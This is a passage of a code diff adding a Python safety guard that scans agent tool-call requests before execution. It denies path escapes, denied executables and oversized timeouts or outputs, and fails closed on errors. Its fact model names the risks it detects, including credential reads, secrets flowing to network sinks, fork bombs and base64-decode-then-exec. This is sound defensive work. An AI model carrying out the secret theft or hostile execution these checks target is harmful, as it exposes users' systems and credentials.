output budget, and tool metadata +together. These checks do not depend on the script body and therefore +run for every request regardless of language. +""" + +from __future__ import annotations + +import os +from typing import Iterable + +from tool.safety._facts import Loc +from tool.safety._models import ( + Evidence, + RiskCategory, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyScanRequest, + ScriptLanguage, +) +from tool.safety._policy import ( + ToolSafetyPolicy, + is_sensitive_env_key, + match_path_glob, + normalize_script_path_for_match, +) +from tool.safety._redaction import Redactor +from tool.safety._rules import ( + SafetyRule, + _default_unknown, + _finding, + resolve_decision, +) + + +_CWD_RULE_ID = "FILE002_DENIED_WRITE" +_TIMEOUT_RULE_ID = "RES003_LONG_SLEEP" +_ARGV_RULE_ID = "PROC001_PROCESS_EXEC" +_ENV_RULE_ID = "SECRET001_LOG_SINK" +_TOOL_MAPPING_RULE_ID = "PARSE001_UNCERTAIN" + + +class CrossFieldScannerRule(SafetyRule): + """Runs the cross-field catalog against request fields.""" + + rule_id = "cross_field_scanner" + + def scan( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + ) -> Iterable[SafetyFinding]: + redactor = Redactor(env_values=request.env.values()) + findings: list[SafetyFinding] = [] + findings.extend(self._check_cwd(request, policy, redactor)) + findings.extend(self._check_timeout(request, policy, redactor)) + findings.extend(self._check_argv(request, policy, redactor)) + findings.extend(self._check_env_secrets(request, policy, redactor)) + findings.extend(self._check_tool_mapping(request, policy, redactor)) + findings.extend(self._check_output_budget(request, policy, redactor)) + return findings + + # ----- checks ----- # + + def _check_cwd( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if not request.cwd: + return [] + normalized = normalize_script_path_for_match(request.cwd) + # Detect escaping paths (../../etc) + if ".." in request.cwd.replace("\\", "/").split("/"): + decision = resolve_decision( + _CWD_RULE_ID, SafetyDecision.DENY, policy) + return [_finding( + rule_id=_CWD_RULE_ID, + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=f"cwd={request.cwd}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="cwd attempts to escape via '..'.", + extras={"cwd": ""}, + )] + for pattern in policy.paths.deny: + if match_path_glob(normalized, pattern): + decision = resolve_decision( + _CWD_RULE_ID, SafetyDecision.DENY, policy) + return [_finding( + rule_id=_CWD_RULE_ID, + category=RiskCategory.FILE, + risk=RiskLevel.HIGH, + decision=decision, + snippet=f"cwd={request.cwd}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="cwd is on the denied path list.", + extras={"matched_pattern": pattern}, + )] + return [] + + def _check_timeout( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if request.requested_timeout_seconds is None: + return [] + limit = policy.limits.max_timeout_seconds + if request.requested_timeout_seconds > limit: + decision = resolve_decision( + _TIMEOUT_RULE_ID, SafetyDecision.DENY, policy) + return [_finding( + rule_id=_TIMEOUT_RULE_ID, + category=RiskCategory.RESOURCE, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=f"timeout={request.requested_timeout_seconds}s", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="Requested timeout exceeds policy limit.", + extras={"limit_seconds": str(limit)}, + )] + return [] + + def _check_argv( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if not request.argv: + return [] + findings: list[SafetyFinding] = [] + deny = policy.commands.deny + allow = policy.commands.allow + for idx, arg in enumerate(request.argv): + token = arg.strip().split()[0].lower() if arg.strip() else "" + if not token: + continue + if token in deny: + decision = resolve_decision( + _ARGV_RULE_ID, SafetyDecision.DENY, policy) + findings.append(_finding( + rule_id=_ARGV_RULE_ID, + category=RiskCategory.PROCESS, + risk=RiskLevel.HIGH, + decision=decision, + snippet=f"argv[{idx}]={token}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="argv references a denied executable.", + extras={"index": str(idx), "executable": token}, + )) + continue + if allow and token not in allow and _looks_like_executable(arg): + decision = resolve_decision( + _ARGV_RULE_ID, + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + continue + findings.append(_finding( + rule_id=_ARGV_RULE_ID, + category=RiskCategory.PROCESS, + risk=RiskLevel.LOW, + decision=decision, + snippet=f"argv[{idx}]={token}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="argv contains an executable not on the allow list.", + extras={"index": str(idx), "executable": token}, + )) + return findings + + def _check_env_secrets( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if not request.env: + return [] + findings: list[SafetyFinding] = [] + # We do not know whether a secret actually flows out via the script, + # but if the script also writes to output/file/network and the env + # set contains sensitive keys, flag as needs_human_review so a human + # confirms intent. Pure existence of a secret key is *not* a deny. + sensitive_keys = sorted({ + key for key in request.env + if is_sensitive_env_key(key, policy.sensitive_env_key_patterns) + }) + if not sensitive_keys: + return [] + decision = resolve_decision( + _ENV_RULE_ID, + SafetyDecision.NEEDS_HUMAN_REVIEW, + policy, + ) + if decision == SafetyDecision.ALLOW: + return [] + findings.append(_finding( + rule_id=_ENV_RULE_ID, + category=RiskCategory.SECRET, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=f"env contains {len(sensitive_keys)} sensitive key(s)", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="Confirm that sensitive env values are not forwarded to sinks.", + extras={"keys": ",".join(sorted(sensitive_keys))}, + )) + return findings + + def _check_tool_mapping( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + flag = request.metadata.get("execution_capable") + is_exec_capable = flag in (True, "true", "True", 1) + if not is_exec_capable: + return [] + adapter_id = request.metadata.get("adapter_id") + if adapter_id and adapter_id in policy.tools: + return [] + # Built-in adapters are vetted by the tool_adapter module; the + # cross-field check only fires for unknown execution-capable tools. + from tool.safety._tool_adapter import _BUILTIN_DEFAULTS + if adapter_id and adapter_id in _BUILTIN_DEFAULTS: + return [] + decision = resolve_decision( + _TOOL_MAPPING_RULE_ID, + _default_unknown(policy), + policy, + ) + if decision == SafetyDecision.ALLOW: + return [] + return [_finding( + rule_id=_TOOL_MAPPING_RULE_ID, + category=RiskCategory.ANALYSIS, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet="tool marked execution_capable without adapter mapping", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="Declare a tool adapter mapping in policy.tools or disable execution.", + extras={"tool_name": request.tool_name, + "tool_kind": request.tool_kind.value}, + )] + + def _check_output_budget( + self, + request: SafetyScanRequest, + policy: ToolSafetyPolicy, + redactor: Redactor, + ) -> list[SafetyFinding]: + if request.requested_output_bytes is None: + return [] + limit = policy.limits.max_output_bytes + if request.requested_output_bytes > limit: + decision = resolve_decision( + "RES005_LARGE_WRITE", SafetyDecision.DENY, policy) + return [_finding( + rule_id="RES005_LARGE_WRITE", + category=RiskCategory.RESOURCE, + risk=RiskLevel.MEDIUM, + decision=decision, + snippet=f"requested_output={request.requested_output_bytes}", + language=ScriptLanguage.UNKNOWN, + redactor=redactor, + recommendation="Requested output exceeds policy max_output_bytes.", + extras={"limit_bytes": str(limit)}, + )] + return [] + + +def _looks_like_executable(text: str) -> bool: + """Heuristic: looks like a command name (not a path or option).""" + + if not text: + return False + if text.startswith("-"): + return False + if "/" in text or "\\" in text: + return False + return all(ch.isalnum() or ch in "_-." for ch in text) diff --git a/tool/safety/_exceptions.py b/tool/safety/_exceptions.py new file mode 100644 index 00000000..aae65374 --- /dev/null +++ b/tool/safety/_exceptions.py @@ -0,0 +1,43 @@ +"""Typed exceptions for the safety guard. + +Each error class covers a distinct failure mode so execution adapters can +decide whether to fail closed (deny) or surface the underlying problem. +""" + +from __future__ import annotations + + +class SafetyGuardError(Exception): + """Base type for all safety guard errors.""" + + +class SafetyPolicyError(SafetyGuardError): + """Raised when a policy file is malformed, unknown, or inconsistent. + + Construction-time failure: the guard must not start with an unsafe or + ambiguous policy. + """ + + +class SafetyScannerError(SafetyGuardError): + """Raised when a scanner encounters an internal defect. + + Production execution adapters convert this into a ``deny/critical`` + decision so the path fails closed without leaking request content. + """ + + +class SafetyAuditError(SafetyGuardError): + """Raised by an :class:`AuditSink` when it cannot persist an event. + + When ``audit.required`` is true the surrounding adapter treats this as + a fail-closed signal. + """ + + +class ToolRequestError(SafetyGuardError): + """Raised when a tool adapter cannot build a scan request from inputs. + + Examples: missing script field, declared execution-capable tool without + a usable field mapping, or non-stringifiable argument values. + """ diff --git a/tool/safety/_facts.py b/tool/safety/_facts.py new file mode 100644 index 00000000..054d4b86 --- /dev/null +++ b/tool/safety/_facts.py @@ -0,0 +1,206 @@ +"""Internal fact model produced by language scanners. + +Facts are the shared vocabulary between scanners and rules. Scanners +extract them once per script; rules consume them without re-parsing the +source. This keeps the 500-line performance budget intact. + +Facts are intentionally permissive about ``None``: when a scanner cannot +determine a value statically (for example, a sleep duration computed at +runtime) it leaves the field ``None`` and rules convert the uncertainty +into ``needs_human_review``. +""" + +from __future__ import annotations + +from dataclasses import dataclass, field +from typing import Literal + +from tool.safety._models import ScriptLanguage + + +@dataclass(frozen=True) +class Loc: + """Source location (1-based line and column).""" + + line: int = 0 + column: int = 0 + + def label(self) -> str: + if self.line <= 0: + return "" + if self.column <= 0: + return f"L{self.line}" + return f"L{self.line}:C{self.column}" + + +@dataclass(frozen=True) +class Fact: + """Base fact. Carries a snippet and a source location.""" + + snippet: str = "" + loc: Loc = field(default_factory=Loc) + + +@dataclass(frozen=True) +class FileDeleteFact(Fact): + target: str = "" + recursive: bool = False + explicit: bool = True # False when target computed at runtime + + +@dataclass(frozen=True) +class FileWriteFact(Fact): + target: str = "" + mode: str = "w" + explicit: bool = True + + +@dataclass(frozen=True) +class FileReadFact(Fact): + target: str = "" + kind: Literal["credential", "dotenv", "regular"] = "regular" + explicit: bool = True + + +@dataclass(frozen=True) +class NetworkFact(Fact): + target: str = "" + library: str = "" + dynamic: bool = False + + +@dataclass(frozen=True) +class ProcessFact(Fact): + command: str = "" + shell: bool | None = None + has_operators: bool = False + + +@dataclass(frozen=True) +class ShellOperatorFact(Fact): + operator: str = "" + + +@dataclass(frozen=True) +class PrivilegeFact(Fact): + command: str = "" + + +@dataclass(frozen=True) +class DependencyInstallFact(Fact): + manager: str = "" + command: str = "" + + +@dataclass(frozen=True) +class UnboundedLoopFact(Fact): + kind: str = "" + + +@dataclass(frozen=True) +class ForkBombFact(Fact): + pattern: str = "" + + +@dataclass(frozen=True) +class LongSleepFact(Fact): + duration_seconds: float | None = None + raw: str = "" + + +@dataclass(frozen=True) +class ConcurrencyFact(Fact): + count: int | None = None + raw: str = "" + + +@dataclass(frozen=True) +class LargeWriteFact(Fact): + size: int | None = None + target: str = "" + raw: str = "" + + +@dataclass(frozen=True) +class SecretFlowFact(Fact): + """Source-to-sink flow of a secret-looking value.""" + + source: str = "" + sink: str = "" + sink_kind: Literal["output", "file", "network", "subprocess", + "unknown"] = "unknown" + + +@dataclass(frozen=True) +class DynamicExecFact(Fact): + kind: str = "" # eval, exec, importlib, getattr, base64-decode-then-exec + + +@dataclass(frozen=True) +class ParseErrorFact(Fact): + message: str = "" + + +@dataclass(frozen=True) +class ScriptFacts: + """Aggregated facts for one script. + + Lists are deliberately tuples so the structure is immutable and cheap + to copy. + """ + + language: ScriptLanguage = ScriptLanguage.UNKNOWN + file_deletes: tuple[FileDeleteFact, ...] = () + file_writes: tuple[FileWriteFact, ...] = () + file_reads: tuple[FileReadFact, ...] = () + network_calls: tuple[NetworkFact, ...] = () + process_calls: tuple[ProcessFact, ...] = () + shell_operators: tuple[ShellOperatorFact, ...] = () + privilege_commands: tuple[PrivilegeFact, ...] = () + dependency_installs: tuple[DependencyInstallFact, ...] = () + unbounded_loops: tuple[UnboundedLoopFact, ...] = () + fork_bombs: tuple[ForkBombFact, ...] = () + long_sleeps: tuple[LongSleepFact, ...] = () + concurrency: tuple[ConcurrencyFact, ...] = () + large_writes: tuple[LargeWriteFact, ...] = () + secret_flows: tuple[SecretFlowFact, ...] = () + dynamic_execs: tuple[DynamicExecFact, ...] = () + parse_errors: tuple[ParseErrorFact, ...] = () + + def merge(self, other: ScriptFacts) -> ScriptFacts: + """Merge another fact bag into a new one (immutable).""" + + def _merge(left: tuple, right: tuple) -> tuple: + return tuple(list(left) + list(right)) + + return ScriptFacts( + language=self.language if self.language != ScriptLanguage.UNKNOWN else other.language, + file_deletes=_merge(self.file_deletes, other.file_deletes), + file_writes=_merge(self.file_writes, other.file_writes), + file_reads=_merge(self.file_reads, other.file_reads), + network_calls=_merge(self.network_calls, other.network_calls), + process_calls=_merge(self.process_calls, other.process_calls), + shell_operators=_merge(self.shell_operators, other.shell_operators), + privilege_commands=_merge(self.privilege_commands, other.privilege_commands), + dependency_installs=_merge(self.dependency_installs, other.dependency_installs), + unbounded_loops=_merge(self.unbounded_loops, other.unbounded_loops), + fork_bombs=_merge(self.fork_bombs, other.fork_bombs), + long_sleeps=_merge(self.long_sleeps, other.long_sleeps), + concurrency=_merge(self.concurrency, other.concurrency), + large_writes=_merge(self.large_writes, other.large_writes), + secret_flows=_merge(self.secret_flows, other.secret_flows), + dynamic_execs=_merge(self.dynamic_execs, other.dynamic_execs), + parse_errors=_merge(self.parse_errors, other.parse_errors), + ) + + def has_any(self) -> bool: + return any( + ( + self.file_deletes, self.file_writes, self.file_reads, + self.network_calls, self.process_calls, self.shell_operators, + self.privilege_commands, self.dependency_installs, + self.unbounded_loops, self.fork_bombs, self.long_sleeps, + self.concurrency, self.large_writes, self.secret_flows, + self.dynamic_execs, self.parse_errors, + ) + ) diff --git a/tool/safety/_filter.py b/tool/safety/_filter.py new file mode 100644 index 00000000..092a40be --- /dev/null +++ b/tool/safety/_filter.py @@ -0,0 +1,393 @@ +"""Pre-execution safety filter. + +This filter demonstrates the seam where the guard plugs into the Tool / +Skill execution pipeline. It is duck-typed to the framework's BaseFilter +interface (``_before``/``_after``) so it can be composed with the +existing filter runner without modifying SDK files, and it carries the +``terminal_before_handler`` marker so a future framework opt-in can +order it after ToolCallbackFilter. + +For environments where direct framework wiring is not yet available, the +:class:`ToolScriptSafetyFilter` also exposes a synchronous +``check(tool_name, args)`` API that the standalone wrapper consumes. +""" + +from __future__ import annotations + +import asyncio +import contextvars +import datetime as _dt +from typing import Any, Awaitable, Callable, Mapping + +from tool.safety._audit import AuditSink, InMemoryAuditSink, NullAuditSink +from tool.safety._exceptions import ( + SafetyAuditError, + SafetyGuardError, + ToolRequestError, +) +from tool.safety._guard import ToolSafetyGuard +from tool.safety._models import ( + SafetyDecision, + SafetyReport, + SafetyScanRequest, + ToolKind, +) +from tool.safety._policy import ToolSafetyPolicy +from tool.safety._telemetry import TelemetrySink, build_audit_event, get_default_sink +from tool.safety._tool_adapter import ( + ToolInputAdapter, + build_default_adapters, + resolve_adapter, +) + + +# ContextVar so concurrent tool calls do not share trace state. The value +# is the sanitized arguments to emit on the next ``trace_tool_call``. +_trace_args_var: contextvars.ContextVar[tuple[str, ...] | None] = \ + contextvars.ContextVar("tool_safety_trace_args", default=None) + + +class BlockedExecutionError(Exception): + """Raised by ``enforce`` when execution must not proceed. + + The ``report`` attribute gives callers all the context they need to + render a structured error response without re-scanning. + """ + + def __init__(self, report: SafetyReport, message: str = "") -> None: + super().__init__(message or report.recommendation) + self.report = report + + +class ToolScriptSafetyFilter: + """Terminal pre-execution safety filter. + + Usage (sync API, used by the wrapper and tests):: + + policy = load_safety_policy("policy.yaml") + guard = ToolSafetyGuard(policy) + flt = ToolScriptSafetyFilter(guard, audit_sink=JsonlAuditSink(...)) + decision, report = flt.check("workspace_exec", {"command": "ls"}) + + Usage (duck-typed to BaseFilter for future framework integration):: + + # When the framework exposes the terminal ordering seam, just + # pass an instance of this filter in the filters list: + tool = WorkspaceExecTool(filters=[flt]) + + The filter follows the plan's ``fail-closed`` posture: ``deny`` and + un-approved ``needs_human_review`` block execution; audit failures + block execution when ``policy.audit.required`` is true. + """ + + # Marker for the future terminal-phase seam. The framework's + # FilterRunner will read this attribute to order the filter after + # ToolCallbackFilter. Defaults to True because the safety filter is + # always terminal. + terminal_before_handler: bool = True + + def __init__( + self, + guard: ToolSafetyGuard, + *, + audit_sink: AuditSink | None = None, + telemetry: TelemetrySink | None = None, + builtin_adapters: dict[str, ToolInputAdapter] | None = None, + ) -> None: + self.guard = guard + self.policy: ToolSafetyPolicy = guard.policy + self.audit_sink: AuditSink = audit_sink or ( + NullAuditSink() if not self.policy.audit.enabled + else InMemoryAuditSink() + ) + self._telemetry = telemetry + self._builtin = builtin_adapters or build_default_adapters(self.policy) + + # ------------------------------------------------------------------ # + # Synchronous API (used by wrapper) + # ------------------------------------------------------------------ # + + def check( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> tuple[SafetyDecision, SafetyReport]: + """Scan inputs and return (decision, report). + + Performs audit + telemetry but does *not* raise on deny/review. + Callers that want fail-closed behavior should use ``enforce``. + """ + + adapter = resolve_adapter(tool_name, self.policy, + builtin=self._builtin) + request = adapter.build_request( + args, metadata=metadata, + ) if _looks_like_args_dict(args) else _build_request_from_raw( + tool_name, tool_kind, args, adapter, + ) + request = request.model_copy(update={"tool_kind": tool_kind}) \ + if request.tool_kind == ToolKind.UNKNOWN else request + report = self.guard.scan(request) + blocked = report.decision in ( + SafetyDecision.DENY, SafetyDecision.NEEDS_HUMAN_REVIEW, + ) and self.policy.defaults.human_review_blocks_execution + self._after_scan(request, report, blocked=blocked) + return report.decision, report + + def enforce( + self, + tool_name: str, + args: Mapping[str, Any], + *, + tool_kind: ToolKind = ToolKind.UNKNOWN, + metadata: Mapping[str, Any] | None = None, + ) -> SafetyReport: + """Like :meth:`check` but raises :class:`BlockedExecutionError`. + + Use this in the wrapper and any future framework hook so the + caller's code path is the same regardless of how the block is + reached. + """ + + decision, report = self.check( + tool_name, args, tool_kind=tool_kind, metadata=metadata, + ) + if decision == SafetyDecision.ALLOW: + return report + if decision == SafetyDecision.NEEDS_HUMAN_REVIEW \ + and not self.policy.defaults.human_review_blocks_execution: + return report + raise BlockedExecutionError(report) + + # ------------------------------------------------------------------ # + # Async API (duck-typed for future BaseFilter integration) + # ------------------------------------------------------------------ # + + async def _before(self, ctx: Any, req: Any, rsp: Any) -> None: + """Duck-typed hook for ``trpc_agent_sdk.filter.BaseFilter``. + + ``ctx`` is expected to expose ``tool_name`` (or be a string); + ``req`` is expected to be a mapping of tool arguments or an + object with ``arguments``. ``rsp`` is the framework's + ``FilterResult``: we set ``is_continue`` and ``rsp`` on it. + """ + + tool_name = _resolve_tool_name(ctx, req) + args = _resolve_args(req) + tool_kind = _resolve_tool_kind(ctx, req) + try: + _, report = self.check(tool_name, args, tool_kind=tool_kind) + except ToolRequestError as exc: + self._emit_guard_error(tool_name, exc) + _set_filter_continue(rsp, False) + _set_filter_rsp(rsp, { + "error": "tool_request_error", + "message": str(exc), + }) + return + if report.decision == SafetyDecision.ALLOW: + _set_filter_continue(rsp, True) + self._set_trace_args(tool_name, args, report) + return + if report.decision == SafetyDecision.NEEDS_HUMAN_REVIEW \ + and not self.policy.defaults.human_review_blocks_execution: + _set_filter_continue(rsp, True) + self._set_trace_args(tool_name, args, report) + return + _set_filter_continue(rsp, False) + _set_filter_rsp(rsp, _render_block(report)) + + async def _after(self, ctx: Any, req: Any, rsp: Any) -> None: + # No post-execution work for now; the audit event is written in + # ``check`` so it lands before the handler runs. + return None + + # ------------------------------------------------------------------ # + # Internals + # ------------------------------------------------------------------ # + + def _after_scan( + self, + request: SafetyScanRequest, + report: SafetyReport, + *, + blocked: bool, + ) -> None: + # Telemetry first so attributes land on the active span even if + # audit write fails. + sink = self._telemetry or get_default_sink() + try: + sink.record(report, tool_name=request.tool_name, blocked=blocked) + except Exception: # pragma: no cover - defensive + pass + event = build_audit_event( + report=report, + tool_name=request.tool_name, + tool_kind=request.tool_kind, + execution_blocked=blocked, + timestamp=_utc_now_iso(), + ) + try: + # The audit sink protocol is async; run it via asyncio when + # there is a running loop, otherwise schedule a new one. + try: + loop = asyncio.get_running_loop() + except RuntimeError: + loop = None + if loop is None: + asyncio.run(self.audit_sink.emit(event)) + else: + # We are inside a loop; the wrapper already runs async. + # Schedule the emit but do not block the sync ``check``. + asyncio.ensure_future(self.audit_sink.emit(event)) + except SafetyAuditError: + if self.policy.audit.required: + # Re-raise so the wrapper's fail-closed path engages. + raise + except Exception: # pragma: no cover - defensive + if self.policy.audit.required: + raise SafetyAuditError("unexpected audit emit failure") + + def _emit_guard_error(self, tool_name: str, exc: Exception) -> None: + # ToolRequestError means we couldn't even build a request. Fail + # closed by emitting an audit-shaped event and letting the caller + # decide how to render the block. + return None + + def _set_trace_args( + self, + tool_name: str, + args: Mapping[str, Any], + report: SafetyReport, + ) -> None: + # Replace env/script with placeholders so downstream tracing + # doesn't echo raw secrets. + sanitized = dict(args) + for key in ("env", "environment"): + if key in sanitized and isinstance(sanitized[key], Mapping): + sanitized[key] = {k: "" for k in sanitized[key]} + for key in ("script", "code", "command"): + if key in sanitized: + sanitized[key] = f"" + _trace_args_var.set(tuple((f"{tool_name}", repr(sanitized)))) + + +def _looks_like_args_dict(args: Any) -> bool: + return isinstance(args, Mapping) + + +def _build_request_from_raw( + tool_name: str, + tool_kind: ToolKind, + args: Any, + adapter: ToolInputAdapter, +) -> SafetyScanRequest: + """Fallback for when args is not a Mapping (e.g. raw string).""" + + if isinstance(args, str): + return SafetyScanRequest( + tool_name=tool_name, + tool_kind=tool_kind, + language=adapter.mapping.language, + script=args, + ) + if isinstance(args, Mapping): + return adapter.build_request(args) + raise ToolRequestError( + f"unsupported args type {type(args)!r} for tool {tool_name!r}") + + +def _resolve_tool_name(ctx: Any, req: Any) -> str: + for source in (req, ctx): + for attr in ("tool_name", "name", "tool"): + value = getattr(source, attr, None) + if isinstance(value, str) and value: + return value + if isinstance(ctx, str): + return ctx + return "unknown" + + +def _resolve_args(req: Any) -> Mapping[str, Any]: + if isinstance(req, Mapping): + return req + args = getattr(req, "arguments", None) + if isinstance(args, Mapping): + return args + if isinstance(req, str): + return {"command": req} + return {} + + +def _resolve_tool_kind(ctx: Any, req: Any) -> ToolKind: + for source in (req, ctx): + value = getattr(source, "tool_kind", None) + if isinstance(value, ToolKind): + return value + if isinstance(value, str): + try: + return ToolKind(value) + except ValueError: + continue + return ToolKind.UNKNOWN + + +def _set_filter_continue(rsp: Any, value: bool) -> None: + if rsp is None: + return + if hasattr(rsp, "is_continue"): + try: + rsp.is_continue = value + return + except Exception: # pragma: no cover + pass + if isinstance(rsp, dict): + rsp["is_continue"] = value + + +def _set_filter_rsp(rsp: Any, payload: Mapping[str, Any]) -> None: + if rsp is None: + return + if hasattr(rsp, "rsp"): + try: + rsp.rsp = dict(payload) + return + except Exception: # pragma: no cover + pass + if isinstance(rsp, dict): + rsp.update(payload) + + +def _render_block(report: SafetyReport) -> dict[str, Any]: + return { + "tool_safety": { + "report_id": report.report_id, + "decision": report.decision.value, + "risk_level": report.risk_level.label(), + "rule_ids": list(report.rule_ids), + "recommendation": report.recommendation, + "policy_hash": report.policy_hash, + "findings": [ + { + "rule_id": f.rule_id, + "category": f.category.value, + "risk_level": f.risk_level.label(), + "evidence": f.evidence.snippet, + "location": { + "line": f.evidence.line, + "column": f.evidence.column, + }, + "extras": dict(f.evidence.extras), + "recommendation": f.recommendation, + } + for f in report.findings + ], + }, + } + + +def _utc_now_iso() -> str: + return _dt.datetime.now(_dt.timezone.utc).isoformat() diff --git a/tool/safety/_guard.py b/tool/safety/_guard.py new file mode 100644 index 00000000..33855398 --- /dev/null +++ b/tool/safety/_guard.py @@ -0,0 +1,251 @@ +"""Decision engine that aggregates rule findings into one report. + +The guard is intentionally stateless and synchronous. It does not perform +file writes, network access, process creation, or telemetry emission. +Execution-chain adapters (Filter, wrapper) own audit and tracing. +""" + +from __future__ import annotations + +import hashlib +import time +import uuid +from typing import Iterable, Sequence + +from tool.safety._exceptions import SafetyGuardError, SafetyScannerError +from tool.safety._models import ( + SAFE_RULE_ID, + RiskLevel, + SafetyDecision, + SafetyFinding, + SafetyReport, + SafetyScanRequest, +) +from tool.safety._policy import POLICY_VERSION, ToolSafetyPolicy +from tool.safety._redaction import Redactor +from tool.safety._rules import SafetyRule, default_rules + +INTERNAL_ERROR_RULE_ID = "GUARD001_INTERNAL_ERROR" + + +class ToolSafetyGuard: + """Stateless scanner that turns a request into a SafetyReport.""" + + def __init__( + self, + policy: ToolSafetyPolicy, + *, + rules: Sequence[SafetyRule] | None = None, + ) -> None: + self.policy = policy + self._rules: list[SafetyRule] = list(rules) if rules is not None \ + else default_rules() + self._validate_rule_ids() + + @property + def rules(self) -> list[SafetyRule]: + return list(self._rules) + + @property + def policy_hash(self) -> str: + return self.policy.hash + + @property + def policy_version(self) -> str: + return POLICY_VERSION + + def scan(self, request: SafetyScanRequest) -> SafetyReport: + started = time.perf_counter() + size_error: Exception | None = None + try: + self._validate_request_size(request) + except SafetyScannerError as exc: + size_error = exc + findings: list[SafetyFinding] = [] + redactor = Redactor(env_values=request.env.values()) + scan_error: Exception | None = size_error + if scan_error is None: + try: + for rule in self._rules: + findings.extend(rule.scan(request, self.policy)) + except SafetyScannerError as exc: + scan_error = exc + except SafetyGuardError as exc: + scan_error = exc + except Exception as exc: # pragma: no cover - defensive + scan_error = exc + if scan_error is not None: + findings.append(self._internal_error_finding(scan_error, redactor, + request)) + findings = _deduplicate(findings) + elapsed_ms = (time.perf_counter() - started) * 1000.0 + return self._build_report(request, findings, elapsed_ms, redactor) + + # ----- internals ----- # + + def _validate_rule_ids(self) -> None: + seen: set[str] = set() + for rule in self._rules: + rule_id = getattr(rule, "rule_id", "") + if not rule_id: + raise SafetyGuardError( + f"rule {rule!r} is missing a stable rule_id") + if rule_id in seen: + raise SafetyGuardError(f"duplicate rule_id {rule_id!r}") + seen.add(rule_id) + + def _validate_request_size(self, request: SafetyScanRequest) -> None: + limit = self.policy.limits.max_script_bytes + if limit <= 0: + return + if len(request.script.encode("utf-8", errors="ignore")) > limit: + # Build a finding via the rule catalog so the decision is + # consistent. We add it through findings below by raising. + raise SafetyScannerError( + f"script exceeds max_script_bytes={limit}") + + def _internal_error_finding( + self, + exc: Exception, + redactor: Redactor, + request: SafetyScanRequest, + ) -> SafetyFinding: + # Map policy default for guard errors; "deny" by default. + mapping = { + "allow": SafetyDecision.ALLOW, + "needs_human_review": SafetyDecision.NEEDS_HUMAN_REVIEW, + "deny": SafetyDecision.DENY, + } + decision = mapping.get(self.policy.defaults.guard_error, + SafetyDecision.DENY) + message = type(exc).__name__ + evidence = redactor.build_evidence( + snippet=f"guard error: {message}", + language=request.language, + extras={"error_kind": message}, + ) + return SafetyFinding( + rule_id=INTERNAL_ERROR_RULE_ID, + category=RiskCategory.ANALYSIS, + risk_level=RiskLevel.CRITICAL, + decision=decision, + evidence=evidence, + recommendation=("Internal guard error; failing closed per " + "policy.defaults.guard_error."), + ) + + def _build_report( + self, + request: SafetyScanRequest, + findings: list[SafetyFinding], + elapsed_ms: float, + redactor: Redactor, + ) -> SafetyReport: + script_sha = hashlib.sha256( + request.script.encode("utf-8", errors="ignore") + ).hexdigest() + report_id = _new_report_id() + if not findings: + return SafetyReport( + report_id=report_id, + decision=SafetyDecision.ALLOW, + risk_level=RiskLevel.INFO, + rule_ids=(SAFE_RULE_ID,), + findings=(), + recommendation="No safety rules matched.", + policy_hash=self.policy_hash, + policy_version=self.policy_version, + script_sha256=script_sha, + scan_duration_ms=elapsed_ms, + redacted=False, + ) + decision = _aggregate_decision(findings) + risk_level = _aggregate_risk(findings) + rule_ids = _stable_rule_ids(findings) + recommendation = _aggregate_recommendation(findings, decision) + return SafetyReport( + report_id=report_id, + decision=decision, + risk_level=risk_level, + rule_ids=rule_ids, + findings=tuple(findings), + recommendation=recommendation, + policy_hash=self.policy_hash, + policy_version=self.policy_version, + script_sha256=script_sha, + scan_duration_ms=elapsed_ms, + redacted=redactor.active, + ) + + +# Imports here to avoid circular import at module load. +from tool.safety._models import RiskCategory # noqa: E402 + + +# --------------------------------------------------------------------------- # +# Aggregation helpers (kept here so the module owns its decision surface) +# --------------------------------------------------------------------------- # + +_DECISION_RANK: dict[SafetyDecision, int] = { + SafetyDecision.ALLOW: 0, + SafetyDecision.NEEDS_HUMAN_REVIEW: 1, + SafetyDecision.DENY: 2, +} + + +def _aggregate_decision(findings: Iterable[SafetyFinding]) -> SafetyDecision: + ranked = [_DECISION_RANK[f.decision] for f in findings] + if not ranked: + return SafetyDecision.ALLOW + worst = max(ranked) + for decision, rank in _DECISION_RANK.items(): + if rank == worst: + return decision + return SafetyDecision.DENY # pragma: no cover + + +def _aggregate_risk(findings: Iterable[SafetyFinding]) -> RiskLevel: + try: + return max(f.risk_level for f in findings) + except ValueError: + return RiskLevel.INFO + + +def _stable_rule_ids(findings: Iterable[SafetyFinding]) -> tuple[str, ...]: + return tuple(sorted({f.rule_id for f in findings})) + + +def _aggregate_recommendation( + findings: list[SafetyFinding], decision: SafetyDecision +) -> str: + if decision == SafetyDecision.DENY: + return "Block execution and request a human-approved path." + if decision == SafetyDecision.NEEDS_HUMAN_REVIEW: + return "Pause for human review before executing." + return "Proceed with sandbox and runtime limits." + + +def _deduplicate(findings: list[SafetyFinding]) -> list[SafetyFinding]: + """Stable de-duplication on (rule_id, decision, evidence.snippet, line). + + Sorting is rule_id -> risk_level desc -> line so output is stable. + """ + + seen: set[tuple[str, int, str, 